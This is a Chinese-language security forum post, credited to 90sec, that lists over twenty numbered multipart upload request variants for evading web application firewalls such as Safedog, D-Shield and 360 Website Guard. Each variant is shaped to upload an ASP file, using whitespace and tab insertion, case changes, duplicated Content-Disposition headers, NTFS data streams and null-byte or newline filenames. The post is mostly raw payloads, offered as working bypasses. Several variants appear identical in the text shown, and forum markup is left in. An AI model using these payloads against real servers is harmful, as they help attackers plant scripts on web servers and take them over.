默认状态 [Bash shell]
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition:form-data;name="filepath"; filename="[0x09]a.asp"
Content-Type:text/html
突破0
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition:form-data;name="filepath"; filename="[0x09]a.asp"
Content-Type:text/html
突破1 去掉双引号
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition:form-data;name="filepath"; filename=a.asp
Content-Type:text/html
突破2 添加一个filename1
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition:form-data;name="filepath"; filename="a.asp";filename1="test.jpg"
Content-Type:text/html
突破3 form中间+
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition:f+orm-data;name="filepath";filename="test.asp"
Content-Type:text/html
突破4 大小写
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition:form-data;name="filepath"; filename="a.asp"
Content-Type:text/html
突破5 去掉form-data
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition:name="filepath";filename="a.asp"
Content-Type:text/html
突破6 在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格
[mw_shl_code=bash,true]------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition:form-data;name="filepath"; filename="a.asp"
Content-Type:text/html
突破7 a.asp . (空格+.)
[mw_shl_code=bash,true]------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition:form-data;name="filepath"; filename="a.asp ."
Content-Type:text/html
突破8 "换行
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition:form-data;name="filepath"; filename="a.asp
"
Content-Type:text/html
突破9 NTFS流
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition:form-data;name="filepath"; filename="test.asp::$DATA"
Content-Type:text/html
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition:form-data;name="filepath"; filename="test.asp::$DATA\0x00\fuck.asp0x00.jpg"
Content-Type:text/html
突破10 经过对IIS 6.0的测试发现,其总是采用第一个Content-Disposition中的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为接收参数。
因此尝试构造如下请求[上传test.asp成功]:
Content-Disposition:form-data;name="FileUploadName";filename="test.asp"
-----------------------------15377259221471
Content-Disposition:form-data;name="FileUploadName";filename="test.txt"
Content-Type:application/octet-stream
Content-Disposition:form-data;name="FileUploadName";filename="test.asp"
Content-Disposition:form-data;
name="FileUploadName"; filename="test.asp"
突破11 换位
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Type:text/html
ConTent-Disposition:form-data;name="filepath"; filename="a.asp"
在上述的方法中,还有些方法可以过安全狗,也可以过D盾、360网站卫士等。
默认状态
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition:form-data;name="filepath"; filename="a.asp"
Content-Type:text/html
上述方法我们已经开始测试,那么,有没有想过。已经想到用window特性来+空格,也可以用协议来(+,-)空格。
突破方法01
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition:form-data; name="filepath";filename="a.asp"
Content-Type:text/html
突破方法02
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type:text/html
突破方法03
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type:text/html
突破方法04
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename= "a.asp"
Content-Type:text/html
突破方法05
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type:text/html
上述就5种方法了,(+,-)可以,空格可以,谁可以代替空格,试试TAB
突破方法06
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data;name="filepath";filename="a.asp"
Content-Type:text/html
突破方法07
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition:form-data; name="uploaded";filename="a.asp"
Content-Type:text/html
上面的方法可以延伸很多种了,记住什么可以替换空格,再根据之前公布的方法 ,大小写
突破方法08
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition:form-data;name="uploaded"; filename="a.asp"
Content-Type:text/html
突破方法09
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-disposition: form-data; name="filepath"; filename="a.asp"
Content-Type:text/html
突破方法010
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: Form-data; name="filepath"; filename="a.asp"
Content-Type:text/html
突破方法011
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; Name="filepath"; filename="a.asp"
Content-Type:text/html
突破方法012
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; Filename="a.asp"
Content-Type:text/html
突破方法013
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-type:text/html
这里在针对一个漏洞结合下,在form-data中见存在一个+号,为什么不放到前面或者后面
突破方法014
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: +form-data; name="filepath"; filename="a.asp"
Content-Type:text/htm
突破方法015
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data+; name="filepath"; filename="a.asp"
Content-Type:text/htm
方法可以绕过目前大部分waf了,即使防住了,结合一下有时候会有意外惊喜。
本文为90sec所有,发表文章后七天内禁止转载,七天后如若转载请注明出处
感谢keio牛文档